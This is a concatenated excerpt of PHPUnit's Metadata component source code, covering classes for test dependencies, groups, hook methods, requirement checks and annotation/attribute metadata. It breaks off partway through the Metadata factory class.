(!$data) { throw new InvalidDataProviderException( 'The data set for the @testWith annotation cannot be parsed.', ); } return $data; } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName * * @throws MoreThanOneDataSetFromDataProviderException */ private function valueObjectForTestMethodWithoutTestData(string $className, string $methodName): TestMethod { $location = Reflection::sourceLocationFor($className, $methodName); return new TestMethod( $className, $methodName, $location['file'], $location['line'], Event\Code\TestDoxBuilder::fromClassNameAndMethodName( $className, $methodName, ), MetadataRegistry::parser()->forClassAndMethod( $className, $methodName, ), TestDataCollection::fromArray([]), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata\Api; use function assert; use PHPUnit\Framework\ExecutionOrderDependency; use PHPUnit\Metadata\DependsOnClass; use PHPUnit\Metadata\DependsOnMethod; use PHPUnit\Metadata\Parser\Registry; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Dependencies { /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName * * @psalm-return list */ public static function dependencies(string $className, string $methodName): array { $dependencies = []; foreach (Registry::parser()->forClassAndMethod($className, $methodName)->isDepends() as $metadata) { if ($metadata->isDependsOnClass()) { assert($metadata instanceof DependsOnClass); $dependencies[] = ExecutionOrderDependency::forClass($metadata); continue; } assert($metadata instanceof DependsOnMethod); if (empty($metadata->methodName())) { $dependencies[] = ExecutionOrderDependency::invalid(); continue; } $dependencies[] = ExecutionOrderDependency::forMethod($metadata); } return $dependencies; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata\Api; use function array_flip; use function array_key_exists; use function array_unique; use function assert; use function strtolower; use function trim; use PHPUnit\Framework\TestSize\TestSize; use PHPUnit\Metadata\Covers; use PHPUnit\Metadata\CoversClass; use PHPUnit\Metadata\CoversFunction; use PHPUnit\Metadata\Group; use PHPUnit\Metadata\Parser\Registry; use PHPUnit\Metadata\Uses; use PHPUnit\Metadata\UsesClass; use PHPUnit\Metadata\UsesFunction; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Groups { /** * @var array> */ private static array $groupCache = []; /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName * * @psalm-return array */ public function groups(string $className, string $methodName, bool $includeVirtual = true): array { $key = $className . '::' . $methodName . '::' . $includeVirtual; if (array_key_exists($key, self::$groupCache)) { return self::$groupCache[$key]; } $groups = []; foreach (Registry::parser()->forClassAndMethod($className, $methodName)->isGroup() as $group) { assert($group instanceof Group); $groups[] = $group->groupName(); } if ($groups === []) { $groups[] = 'default'; } if (!$includeVirtual) { return self::$groupCache[$key] = array_unique($groups); } foreach (Registry::parser()->forClassAndMethod($className, $methodName) as $metadata) { if ($metadata->isCoversClass() || $metadata->isCoversFunction()) { assert($metadata instanceof CoversClass || $metadata instanceof CoversFunction); $groups[] = '__phpunit_covers_' . $this->canonicalizeName($metadata->asStringForCodeUnitMapper()); continue; } if ($metadata->isCovers()) { assert($metadata instanceof Covers); $groups[] = '__phpunit_covers_' . $this->canonicalizeName($metadata->target()); continue; } if ($metadata->isUsesClass() || $metadata->isUsesFunction()) { assert($metadata instanceof UsesClass || $metadata instanceof UsesFunction); $groups[] = '__phpunit_uses_' . $this->canonicalizeName($metadata->asStringForCodeUnitMapper()); continue; } if ($metadata->isUses()) { assert($metadata instanceof Uses); $groups[] = '__phpunit_uses_' . $this->canonicalizeName($metadata->target()); } } return self::$groupCache[$key] = array_unique($groups); } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public function size(string $className, string $methodName): TestSize { $groups = array_flip($this->groups($className, $methodName)); if (isset($groups['large'])) { return TestSize::large(); } if (isset($groups['medium'])) { return TestSize::medium(); } if (isset($groups['small'])) { return TestSize::small(); } return TestSize::unknown(); } private function canonicalizeName(string $name): string { return strtolower(trim($name, '\\')); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata\Api; use function array_unshift; use function assert; use function class_exists; use PHPUnit\Metadata\Parser\Registry; use PHPUnit\Util\Reflection; use ReflectionClass; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class HookMethods { /** * @psalm-var array, before: list, preCondition: list, postCondition: list, after: list, afterClass: list}> */ private static array $hookMethods = []; /** * @psalm-param class-string $className * * @psalm-return array{beforeClass: list, before: list, preCondition: list, postCondition: list, after: list, afterClass: list} */ public function hookMethods(string $className): array { if (!class_exists($className)) { return self::emptyHookMethodsArray(); } if (isset(self::$hookMethods[$className])) { return self::$hookMethods[$className]; } self::$hookMethods[$className] = self::emptyHookMethodsArray(); foreach (Reflection::methodsInTestClass(new ReflectionClass($className)) as $method) { $methodName = $method->getName(); assert(!empty($methodName)); $metadata = Registry::parser()->forMethod($className, $methodName); if ($method->isStatic()) { if ($metadata->isBeforeClass()->isNotEmpty()) { array_unshift( self::$hookMethods[$className]['beforeClass'], $methodName, ); } if ($metadata->isAfterClass()->isNotEmpty()) { self::$hookMethods[$className]['afterClass'][] = $methodName; } } if ($metadata->isBefore()->isNotEmpty()) { array_unshift( self::$hookMethods[$className]['before'], $methodName, ); } if ($metadata->isPreCondition()->isNotEmpty()) { array_unshift( self::$hookMethods[$className]['preCondition'], $methodName, ); } if ($metadata->isPostCondition()->isNotEmpty()) { self::$hookMethods[$className]['postCondition'][] = $methodName; } if ($metadata->isAfter()->isNotEmpty()) { self::$hookMethods[$className]['after'][] = $methodName; } } return self::$hookMethods[$className]; } /** * @psalm-return array{beforeClass: list, before: list, preCondition: list, postCondition: list, after: list, afterClass: list} */ private function emptyHookMethodsArray(): array { return [ 'beforeClass' => ['setUpBeforeClass'], 'before' => ['setUp'], 'preCondition' => ['assertPreConditions'], 'postCondition' => ['assertPostConditions'], 'after' => ['tearDown'], 'afterClass' => ['tearDownAfterClass'], ]; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata\Api; use const PHP_OS; use const PHP_OS_FAMILY; use const PHP_VERSION; use function addcslashes; use function assert; use function extension_loaded; use function function_exists; use function ini_get; use function method_exists; use function phpversion; use function preg_match; use function sprintf; use PHPUnit\Metadata\Parser\Registry; use PHPUnit\Metadata\RequiresFunction; use PHPUnit\Metadata\RequiresMethod; use PHPUnit\Metadata\RequiresOperatingSystem; use PHPUnit\Metadata\RequiresOperatingSystemFamily; use PHPUnit\Metadata\RequiresPhp; use PHPUnit\Metadata\RequiresPhpExtension; use PHPUnit\Metadata\RequiresPhpunit; use PHPUnit\Metadata\RequiresSetting; use PHPUnit\Runner\Version; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Requirements { /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName * * @psalm-return list */ public function requirementsNotSatisfiedFor(string $className, string $methodName): array { $notSatisfied = []; foreach (Registry::parser()->forClassAndMethod($className, $methodName) as $metadata) { if ($metadata->isRequiresPhp()) { assert($metadata instanceof RequiresPhp); if (!$metadata->versionRequirement()->isSatisfiedBy(PHP_VERSION)) { $notSatisfied[] = sprintf( 'PHP %s is required.', $metadata->versionRequirement()->asString(), ); } } if ($metadata->isRequiresPhpExtension()) { assert($metadata instanceof RequiresPhpExtension); if (!extension_loaded($metadata->extension()) || ($metadata->hasVersionRequirement() && !$metadata->versionRequirement()->isSatisfiedBy(phpversion($metadata->extension())))) { $notSatisfied[] = sprintf( 'PHP extension %s%s is required.', $metadata->extension(), $metadata->hasVersionRequirement() ? (' ' . $metadata->versionRequirement()->asString()) : '', ); } } if ($metadata->isRequiresPhpunit()) { assert($metadata instanceof RequiresPhpunit); if (!$metadata->versionRequirement()->isSatisfiedBy(Version::id())) { $notSatisfied[] = sprintf( 'PHPUnit %s is required.', $metadata->versionRequirement()->asString(), ); } } if ($metadata->isRequiresOperatingSystemFamily()) { assert($metadata instanceof RequiresOperatingSystemFamily); if ($metadata->operatingSystemFamily() !== PHP_OS_FAMILY) { $notSatisfied[] = sprintf( 'Operating system %s is required.', $metadata->operatingSystemFamily(), ); } } if ($metadata->isRequiresOperatingSystem()) { assert($metadata instanceof RequiresOperatingSystem); $pattern = sprintf( '/%s/i', addcslashes($metadata->operatingSystem(), '/'), ); if (!preg_match($pattern, PHP_OS)) { $notSatisfied[] = sprintf( 'Operating system %s is required.', $metadata->operatingSystem(), ); } } if ($metadata->isRequiresFunction()) { assert($metadata instanceof RequiresFunction); if (!function_exists($metadata->functionName())) { $notSatisfied[] = sprintf( 'Function %s() is required.', $metadata->functionName(), ); } } if ($metadata->isRequiresMethod()) { assert($metadata instanceof RequiresMethod); if (!method_exists($metadata->className(), $metadata->methodName())) { $notSatisfied[] = sprintf( 'Method %s::%s() is required.', $metadata->className(), $metadata->methodName(), ); } } if ($metadata->isRequiresSetting()) { assert($metadata instanceof RequiresSetting); if (ini_get($metadata->setting()) !== $metadata->value()) { $notSatisfied[] = sprintf( 'Setting "%s" is required to be "%s".', $metadata->setting(), $metadata->value(), ); } } } return $notSatisfied; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class BackupGlobals extends Metadata { private readonly bool $enabled; /** * @psalm-param 0|1 $level */ protected function __construct(int $level, bool $enabled) { parent::__construct($level); $this->enabled = $enabled; } /** * @psalm-assert-if-true BackupGlobals $this */ public function isBackupGlobals(): bool { return true; } public function enabled(): bool { return $this->enabled; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class BackupStaticProperties extends Metadata { private readonly bool $enabled; /** * @psalm-param 0|1 $level */ protected function __construct(int $level, bool $enabled) { parent::__construct($level); $this->enabled = $enabled; } /** * @psalm-assert-if-true BackupStaticProperties $this */ public function isBackupStaticProperties(): bool { return true; } public function enabled(): bool { return $this->enabled; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Before extends Metadata { /** * @psalm-assert-if-true Before $this */ public function isBefore(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class BeforeClass extends Metadata { /** * @psalm-assert-if-true BeforeClass $this */ public function isBeforeClass(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Covers extends Metadata { /** * @psalm-var non-empty-string */ private readonly string $target; /** * @psalm-param 0|1 $level * @psalm-param non-empty-string $target */ protected function __construct(int $level, string $target) { parent::__construct($level); $this->target = $target; } /** * @psalm-assert-if-true Covers $this */ public function isCovers(): bool { return true; } /** * @psalm-return non-empty-string */ public function target(): string { return $this->target; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class CoversClass extends Metadata { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-param 0|1 $level * @psalm-param class-string $className */ protected function __construct(int $level, string $className) { parent::__construct($level); $this->className = $className; } /** * @psalm-assert-if-true CoversClass $this */ public function isCoversClass(): bool { return true; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } /** * @psalm-return class-string * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function asStringForCodeUnitMapper(): string { return $this->className; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class CoversDefaultClass extends Metadata { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-param 0|1 $level * @psalm-param class-string $className */ protected function __construct(int $level, string $className) { parent::__construct($level); $this->className = $className; } /** * @psalm-assert-if-true CoversDefaultClass $this */ public function isCoversDefaultClass(): bool { return true; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class CoversFunction extends Metadata { /** * @psalm-var non-empty-string */ private readonly string $functionName; /** * @psalm-param 0|1 $level * @psalm-param non-empty-string $functionName */ protected function __construct(int $level, string $functionName) { parent::__construct($level); $this->functionName = $functionName; } /** * @psalm-assert-if-true CoversFunction $this */ public function isCoversFunction(): bool { return true; } /** * @psalm-return non-empty-string */ public function functionName(): string { return $this->functionName; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function asStringForCodeUnitMapper(): string { return '::' . $this->functionName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class CoversNothing extends Metadata { /** * @psalm-assert-if-true CoversNothing $this */ public function isCoversNothing(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class DataProvider extends Metadata { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-var non-empty-string */ private readonly string $methodName; /** * @psalm-param 0|1 $level * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ protected function __construct(int $level, string $className, string $methodName) { parent::__construct($level); $this->className = $className; $this->methodName = $methodName; } /** * @psalm-assert-if-true DataProvider $this */ public function isDataProvider(): bool { return true; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } /** * @psalm-return non-empty-string */ public function methodName(): string { return $this->methodName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class DependsOnClass extends Metadata { /** * @psalm-var class-string */ private readonly string $className; private readonly bool $deepClone; private readonly bool $shallowClone; /** * @psalm-param 0|1 $level * @psalm-param class-string $className */ protected function __construct(int $level, string $className, bool $deepClone, bool $shallowClone) { parent::__construct($level); $this->className = $className; $this->deepClone = $deepClone; $this->shallowClone = $shallowClone; } /** * @psalm-assert-if-true DependsOnClass $this */ public function isDependsOnClass(): bool { return true; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } public function deepClone(): bool { return $this->deepClone; } public function shallowClone(): bool { return $this->shallowClone; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class DependsOnMethod extends Metadata { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-var non-empty-string */ private readonly string $methodName; private readonly bool $deepClone; private readonly bool $shallowClone; /** * @psalm-param 0|1 $level * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ protected function __construct(int $level, string $className, string $methodName, bool $deepClone, bool $shallowClone) { parent::__construct($level); $this->className = $className; $this->methodName = $methodName; $this->deepClone = $deepClone; $this->shallowClone = $shallowClone; } /** * @psalm-assert-if-true DependsOnMethod $this */ public function isDependsOnMethod(): bool { return true; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } /** * @psalm-return non-empty-string */ public function methodName(): string { return $this->methodName; } public function deepClone(): bool { return $this->deepClone; } public function shallowClone(): bool { return $this->shallowClone; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class DoesNotPerformAssertions extends Metadata { /** * @psalm-assert-if-true DoesNotPerformAssertions $this */ public function isDoesNotPerformAssertions(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; use function sprintf; use PHPUnit\Exception; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class AnnotationsAreNotSupportedForInternalClassesException extends RuntimeException implements Exception { /** * @psalm-param class-string $className */ public function __construct(string $className) { parent::__construct( sprintf( 'Annotations can only be parsed for user-defined classes, trying to parse annotations for class "%s"', $className, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; interface Exception extends \PHPUnit\Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; use const PHP_EOL; use function sprintf; use PHPUnit\Exception; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvalidAttributeException extends RuntimeException implements Exception { /** * @param non-empty-string $attributeName * @param non-empty-string $target * @param non-empty-string $file * @param positive-int $line * @param non-empty-string $message */ public function __construct(string $attributeName, string $target, string $file, int $line, string $message) { parent::__construct( sprintf( 'Invalid attribute %s for %s in %s:%d%s%s', $attributeName, $target, $file, $line, PHP_EOL, $message, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; use RuntimeException; final class InvalidVersionRequirementException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; use RuntimeException; final class NoVersionRequirementException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; use PHPUnit\Exception; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ReflectionException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ExcludeGlobalVariableFromBackup extends Metadata { /** * @psalm-var non-empty-string */ private readonly string $globalVariableName; /** * @psalm-param 0|1 $level * @psalm-param non-empty-string $globalVariableName */ protected function __construct(int $level, string $globalVariableName) { parent::__construct($level); $this->globalVariableName = $globalVariableName; } /** * @psalm-assert-if-true ExcludeGlobalVariableFromBackup $this */ public function isExcludeGlobalVariableFromBackup(): bool { return true; } /** * @psalm-return non-empty-string */ public function globalVariableName(): string { return $this->globalVariableName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ExcludeStaticPropertyFromBackup extends Metadata { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-var non-empty-string */ private readonly string $propertyName; /** * @psalm-param 0|1 $level * @psalm-param class-string $className * @psalm-param non-empty-string $propertyName */ protected function __construct(int $level, string $className, string $propertyName) { parent::__construct($level); $this->className = $className; $this->propertyName = $propertyName; } /** * @psalm-assert-if-true ExcludeStaticPropertyFromBackup $this */ public function isExcludeStaticPropertyFromBackup(): bool { return true; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } /** * @psalm-return non-empty-string */ public function propertyName(): string { return $this->propertyName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Group extends Metadata { /** * @psalm-var non-empty-string */ private readonly string $groupName; /** * @psalm-param 0|1 $level * @psalm-param non-empty-string $groupName */ protected function __construct(int $level, string $groupName) { parent::__construct($level); $this->groupName = $groupName; } /** * @psalm-assert-if-true Group $this */ public function isGroup(): bool { return true; } /** * @psalm-return non-empty-string */ public function groupName(): string { return $this->groupName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5513 */ final class IgnoreClassForCodeCoverage extends Metadata { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-param 0|1 $level * @psalm-param class-string $className */ protected function __construct(int $level, string $className) { parent::__construct($level); $this->className = $className; } /** * @psalm-assert-if-true IgnoreClassForCodeCoverage $this */ public function isIgnoreClassForCodeCoverage(): bool { return true; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IgnoreDeprecations extends Metadata { /** * @psalm-assert-if-true IgnoreDeprecations $this */ public function isIgnoreDeprecations(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5513 */ final class IgnoreFunctionForCodeCoverage extends Metadata { /** * @psalm-var non-empty-string */ private readonly string $functionName; /** * @psalm-param 0|1 $level * @psalm-param non-empty-string $functionName */ protected function __construct(int $level, string $functionName) { parent::__construct($level); $this->functionName = $functionName; } /** * @psalm-assert-if-true IgnoreFunctionForCodeCoverage $this */ public function isIgnoreFunctionForCodeCoverage(): bool { return true; } /** * @psalm-return non-empty-string */ public function functionName(): string { return $this->functionName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5513 */ final class IgnoreMethodForCodeCoverage extends Metadata { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-var non-empty-string */ private readonly string $methodName; /** * @psalm-param 0|1 $level * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ protected function __construct(int $level, string $className, string $methodName) { parent::__construct($level); $this->className = $className; $this->methodName = $methodName; } /** * @psalm-assert-if-true IgnoreMethodForCodeCoverage $this */ public function isIgnoreMethodForCodeCoverage(): bool { return true; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } /** * @psalm-return non-empty-string */ public function methodName(): string { return $this->methodName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; use PHPUnit\Metadata\Version\Requirement; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ abstract class Metadata { private const CLASS_LEVEL = 0; private const METHOD_LEVEL = 1; /** * @psalm-var 0|1 */ private readonly int $level; public static function after(): After { return new After(self::METHOD_LEVEL); } public static function afterClass(): AfterClass { return new AfterClass(self::METHOD_LEVEL); } public static function backupGlobalsOnClass(bool $enabled): BackupGlobals { return new BackupGlobals(self::CLASS_LEVEL, $enabled); } public static function backupGlobalsOnMethod(bool $enabled): BackupGlobals { return new BackupGlobals(self::METHOD_LEVEL, $enabled); } public static function backupStaticPropertiesOnClass(bool $enabled): BackupStaticProperties { return new BackupStaticProperties(self::CLASS_LEVEL, $enabled); } public static function backupStaticPropertiesOnMethod(bool $enabled): BackupStaticProperties { return new BackupStaticProperties(self::METHOD_LEVEL, $enabled); } public static function before(): Before { return new Before(self::METHOD_LEVEL); } public static function beforeClass(): BeforeClass { return new BeforeClass(self::METHOD_LEVEL); } /** * @psalm-param class-string $className */ public static function coversClass(string $className): CoversClass { return new CoversClass(self::CLASS_LEVEL, $className); } /** * @psalm-param non-empty-string $functionName */ public static function coversFunction(string $functionName): CoversFunction { return new CoversFunction(self::CLASS_LEVEL, $functionName); } /** * @psalm-param non-empty-string $target */ public static function coversOnClass(string $target): Covers { return new Covers(self::CLASS_LEVEL, $target); } /** * @psalm-param non-empty-string $target */ public static function coversOnMethod(string $target): Covers { return new Covers(self::METHOD_LEVEL, $target); } /** * @psalm-param class-string $className */ public static function coversDefaultClass(string $className): CoversDefaultClass { return new CoversDefaultClass(self::CLASS_LEVEL, $className); } public static function coversNothingOnClass(): CoversNothing { return new CoversNothing(self::CLASS_LEVEL); } public static function coversNothingOnMethod(): CoversNothing { return new CoversNothing(self::METHOD_LEVEL); } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public static function dataProvider(string $className, string $methodName): DataProvider { return new DataProvider(self::METHOD_LEVEL, $className, $methodName); } /** * @psalm-param class-string $className */ public static function dependsOnClass(string $className, bool $deepClone, bool $shallowClone): DependsOnClass { return new DependsOnClass(self::METHOD_LEVEL, $className, $deepClone, $shallowClone); } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public static function dependsOnMethod(string $className, string $methodName, bool $deepClone, bool $shallowClone): DependsOnMethod { return new DependsOnMethod(self::METHOD_LEVEL, $className, $methodName, $deepClone, $shallowClone); } public static function doesNotPerformAssertionsOnClass(): DoesNotPerformAssertions { return new DoesNotPerformAssertions(self::CLASS_LEVEL); } public static function doesNotPerformAssertionsOnMethod(): DoesNotPerformAssertions { return new DoesNotPerformAssertions(self::METHOD_LEVEL); } /** * @psalm-param non-empty-string $globalVariableName */ public static function excludeGlobalVariableFromBackupOnClass(string $globalVariableName): ExcludeGlobalVariableFromBackup { return new ExcludeGlobalVariableFromBackup(self::CLASS_LEVEL, $globalVariableName); } /** * @psalm-param non-empty-string $globalVariableName */ public static function excludeGlobalVariableFromBackupOnMethod(string $globalVariableName): ExcludeGlobalVariableFromBackup { return new ExcludeGlobalVariableFromBackup(self::METHOD_LEVEL, $globalVariableName); } /** * @psalm-param class-string $className * @psalm-param non-empty-string $propertyName */ public static function excludeStaticPropertyFromBackupOnClass(string $className, string $propertyName): ExcludeStaticPropertyFromBackup { return new ExcludeStaticPropertyFromBackup(self::CLASS_LEVEL, $className, $propertyName); } /** * @psalm-param class-string $className * @psalm-param non-empty-string $propertyName */ public static function excludeStaticPropertyFromBackupOnMethod(string $className, string $propertyName): ExcludeStaticPropertyFromBackup { return new ExcludeStaticPropertyFromBackup(self::METHOD_LEVEL, $className, $propertyName); } /** * @psalm-param non-empty-string $groupName */ public static function groupOnClass(string $groupName): Group { return new Group(self::CLASS_LEVEL, $groupName); } /** * @psalm-param non-empty-string $groupName */ public static function groupOnMethod(string $groupName): Group { return new Group(self::METHOD_LEVEL, $groupName); } public static function ignoreDeprecationsOnClass(): IgnoreDeprecations { return new IgnoreDeprecations(self::CLASS_LEVEL); } public static function ignoreDeprecationsOnMethod(): IgnoreDeprecations { return new IgnoreDeprecations(self::METHOD_LEVEL); } /** * @psalm-param class-string $className */ public static function ignoreClassForCodeCoverage(string $className): IgnoreClassForCodeCoverage { return new IgnoreClassForCodeCoverage(self::CLASS_LEVEL, $className); } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public static function ignoreMethodForCodeCoverage(string $className, string $methodName): IgnoreMethodForCodeCoverage { return new IgnoreMethodForCodeCoverage(self::CLASS_LEVEL, $className, $methodName); } /** * @psalm-param non-empty-string $functionName */ public static function ignoreFunctionForCodeCoverage(string $functionName): IgnoreFunctionForCodeCoverage { return new IgnoreFunctionForCodeCoverage(self::CLASS_LEVEL, $functionName); } public static function postCondition(): PostCondition { return new PostCondition(self::METHOD_LEVEL); } public static function preCondition(): PreCondition { return new PreCondition(self::METHOD_LEVEL); } public static function preserveGlobalStateOnClass(bool $enabled): PreserveGlobalState { return new PreserveGlobalState(self::CLASS_LEVEL, $enabled); } public static function preserveGlobalStateOnMethod(bool $enabled): PreserveGlobalState { return new PreserveGlobalState(self::METHOD_LEVEL, $enabled); } /** * @psalm-param non-empty-string $functionName */ public static function requiresFunctionOnClass(string $functionName): RequiresFunction { return new RequiresFunction(self::CLASS_LEVEL, $functionName); } /** * @psalm-param non-empty-string $functionName */ public static function requiresFunctionOnMethod(string $functionName): RequiresFunction { return new RequiresFunction(self::METHOD_LEVEL, $functionName); } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public static function requiresMethodOnClass(string $className, string $methodName): RequiresMethod { return new RequiresMethod(self::CLASS_LEVEL, $className, $methodName); } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public static function requiresMethodOnMethod(string $className, string $methodName): RequiresMethod { return new RequiresMethod(self::METHOD_LEVEL, $className, $methodName); } /** * @psalm-param non-empty-string $operatingSystem */ public static function requiresOperatingSystemOnClass(string $operatingSystem): RequiresOperatingSystem { return new RequiresOperatingSystem(self::CLASS_LEVEL, $operatingSystem); } /** * @psalm-param non-empty-string $operatingSystem */ public static function requiresOperatingSystemOnMethod(string $operatingSystem): RequiresOperatingSystem { return new RequiresOperatingSystem(self::METHOD_LEVEL, $operatingSystem); } /** * @psalm-param non-empty-string $operatingSystemFamily */ public static function requiresOperatingSystemFamilyOnClass(string $operatingSystemFamily): RequiresOperatingSystemFamily { return new RequiresOperatingSystemFamily(self::CLASS_LEVEL, $operatingSystemFamily); } /** * @psalm-param non-empty-string $operatingSystemFamily */ public static function requiresOperatingSystemFamilyOnMethod(string 